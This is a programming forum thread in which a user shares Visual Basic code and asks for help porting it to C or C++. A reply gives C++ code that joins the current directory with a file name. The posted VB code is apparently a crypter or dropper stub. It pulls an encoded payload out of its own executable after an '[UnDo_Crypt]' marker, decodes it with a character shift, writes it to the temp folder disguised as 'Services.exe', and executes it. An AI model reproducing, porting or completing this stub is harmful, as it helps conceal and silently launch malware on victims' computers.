VB Version:

Private Sub Main()
Dim iexename As String
iexename = "Services.exe"

Open App.Path + "\" + App.EXEName + ".exe" For Binary As #1
  exeData = Input(LOF(1), 1)
Close #1

Open TempPath & iexename For Binary As #2

ignore

exeData = Input(LOF(1), 1)

I know i need to use fopen() and fput() and get the app path by using GetCurrentDirectory.
But how do i take the CurrentDir + iexename (Services.exe) and join them into a buffer
so i can fopen(szBuffer, "wb");

?

Recommended Answers

All 2 Replies

Here's how to do it in c++, which does not use fopen() or anything else from C's stdio.h

#include <string>
#include <fstream>
using namespace std;

int main()
{
    string filename;
    char path[_MAX_PATH];
    string iexename = "Services.exe";
    GetCurrentDirectory(_MAX_PATH, path);
    filename = path;
    filename += "\\";
    filename +=  iexename;
    // open the file
    ifstream in( filename.c_str(), ios::binary);



}

so that uses ifstream? because i need to do this sooner or later.

Private Sub Main()
Dim iexename As String
iexename = "Services.exe"
iexename = iexename & ".exe"

Open App.Path + "\" + App.EXEName + ".exe" For Binary As #1
  exeData = Input(LOF(1), 1)
Close #1


Open TempPath & iexename For Binary As #2
Spliting() = Split(exeData, "[UnDo_Crypt]")

Spliting(2) = Remove_Space(Spliting(2))
CryptER = True

For i = 1 To Spliting(1)
CurrentCHAR = Mid(Spliting(2), i, 1)
   
    If CryptER = True Then
        CHARCrypted = Asc(CurrentCHAR) - 2 '<<<<<<<| CRYPT NUMBER |>>>>>>>
        CryptER = False
            Else
        CHARCrypted = Asc(CurrentCHAR) - 1 '<<<<<<<| CRYPT NUMBER |>>>>>>>
        CryptER = True
    End If
    
    'CHARCrypted = Asc(CurrentCHAR) - 2 '<<<<<<<| CRYPT NUMBER |>>>>>>>
    
        If CHARCrypted = -1 Then
            FinalSTR = FinalSTR & Chr(255)
        ElseIf CHARCrypted = -2 Then
            FinalSTR = FinalSTR & Chr(254)
        ElseIf CHARCrypted = -3 Then
            FinalSTR = FinalSTR & Chr(253)
            
            
        Else
            FinalSTR = FinalSTR & Chr(CHARCrypted)
        End If
Next

Put #2, , FinalSTR
Close #2

Call ShellExecute(hwnd, "open", TempPath & iexename, "", 0, SW_SHOWNORMAL)
End
End Sub

so i think i need to study up on ifstream

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.